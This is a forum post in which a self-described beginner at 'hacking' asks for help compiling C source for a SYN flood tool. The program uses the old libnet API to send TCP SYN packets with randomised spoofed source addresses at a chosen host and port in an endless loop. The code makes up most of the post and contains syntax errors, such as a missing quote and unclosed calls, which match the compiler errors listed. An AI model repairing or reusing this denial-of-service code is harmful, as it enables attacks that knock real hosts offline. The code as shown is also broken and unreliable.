Need help with comilation errors in source code PLZ!

[bootingtag]

ok im a noob to linux and to programming and hacking i need someone to help me... ok i try to compile this source code:

#include <libnet.h>
#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.

/* Returns an IP in x.x.x.x notation */
char *print_ip(u_long *ip_addr_ptr) {
return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}


int main(int argc, char *argv[]) {
u_long dest_ip;
u_short dest_port;
u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;

if(argc < 3)
{
printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);
exit(1);
}

dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
dest_port = (u_short) atoi(argv[2]); // The port


network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
if (network == -1)
libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n");
libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
if (packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "can't intialize packet memory.\n");

libnet_seed_prand(); // seed the random number generator.

printf(SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
while(1) // loop forever (until break by CTRL-C)
{

libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header.
IPTOS_LOWEDLAY, // IP tos
libnet_get_prand(LIBNET_PRu16, // IP ID (randomized)
0, // Frag stuff
libnet_get_prand(LIBNET_PR, // TTL (randomized)
IPPROTO_TCP, // Transport protocol
libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)
dest_ip, // Destination IP
NULL, // Payload (none)
0, // Payload length
packet); // Packet header memory


libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
dest_port, // Destination TCP port
libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
libnet_get_prand(LIBNET_PRu32), // Acknowledgement
TH_SYN, // Control flags (SYN flag set only)
libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
0, // Urgent pointer
NULL, // Payload (none)
0, // Payload length
packet + LIBNET_IP_H); // Packet header memory

if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

byte_count = libnet_write_ip(network, packet, packet_size); //Inject packet.
if (byte_count < packet_size)
libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)",
byte_count, packet_size);

usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.
}

libnet_destroy_packet(&packet); // Free packet memory.

if (libnet_close_raw_sock(network) == -1) // Close the network interface.

libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");

return 0;
}



i try to compile this code with these commands in the terminal: gcc $(libnet-config --defines) -o synflood synflood.c -lnet

and i get these errors:

error: 'LIBNET_IP_H' Undeclared, LIBNET_ERR_FATAL undeclared, too few arguments to function 'libnet_seed_prand', 'SYN' Undeclared, and expected declaration or statement at end of input

can someone plz help me...remember i am a noob at this stuff and new to this forum plz help me thank you. i really need the help thanx guys.